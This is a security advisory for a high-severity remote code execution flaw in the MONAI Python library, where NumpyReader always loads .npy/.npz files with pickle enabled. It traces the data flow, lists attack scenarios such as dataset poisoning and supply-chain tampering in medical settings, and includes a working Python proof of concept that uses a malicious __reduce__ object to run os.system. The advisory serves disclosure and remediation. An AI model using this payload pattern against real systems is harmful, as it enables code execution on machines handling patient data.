GHSA-wg9g-w2j2-8pgr: High severity pip/monai vulnerability
Summary
The NumpyReader class in monai/data/imagereader.py unconditionally uses np.load(name, allowpickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allowpickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allowpickle").
Details
Vulnerable code (permalink):
python monai/data/imagereader.py, line 1276, in NumpyReader.read() img = np.load(name, allowpickle=True, kwargs)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allowpickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the reduce method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths: - torch.load calls now use weightsonly=True (after GHSA-6vm5-6jv9-rjpj) - PersistentDataset defaults to weightsonly=True (line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allowpickle=False (permalink):
python monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allowpickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
python monai/data/imagereader.py, line 1233 (docstring) kwargs: additional args for numpy.load API except allowpickle.
The hardcoded allowpickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class 2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset) 3. LoadImage selects NumpyReader based on file extension 4. NumpyReader.read() calls np.load(name, allowpickle=True) 5. Malicious pickle payload in the .npy file executes arbitrary code
PoC
python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allowpickle=True in MONAI""" import os import tempfile import numpy as np
class MaliciousPayload: def reduce(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monairceproof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monaipoc") maliciousnpy = os.path.join(tmpdir, "maliciousmask.npy") np.save(maliciousnpy, np.array(MaliciousPayload()), allowpickle=True)
With MONAI installed: from monai.data.imagereader import NumpyReader reader = NumpyReader() data = reader.read(maliciousnpy)
Verify RCE proof = "/tmp/monairceproof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof)
os.remove(maliciousnpy) os.rmdir(tmpdir)
Output: [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.
2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.
3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/monaito a version that resolves this vulnerability.Fixed in 1.6.0
Event History
Frequently Asked Questions
Which MONAI workflows are exposed?
Any workflow that loads .npy or .npz files through MONAI's LoadImage transform can select NumpyReader automatically. This includes standard pipelines using LoadImage, PersistentDataset, CacheDataset, and SmartCacheDataset.
What must happen for exploitation?
An attacker needs to provide a crafted .npy or .npz file and have it loaded by the affected application or user. Loading the file can trigger arbitrary code execution because NumPy pickle loading is enabled.
Is a default configuration affected?
The vulnerable behavior is part of the default reader selection for .npy and .npz extensions: LoadImage automatically uses NumpyReader for those files. Users cannot disable pickle loading through NumpyReader kwargs because allow_pickle is hardcoded to True.
How can I determine whether my deployment is affected?
Review whether the application accepts or processes .npy or .npz files, including through datasets and caches, and whether those files reach LoadImage or NumpyReader. Affected code calls np.load with allow_pickle=True in NumpyReader.read().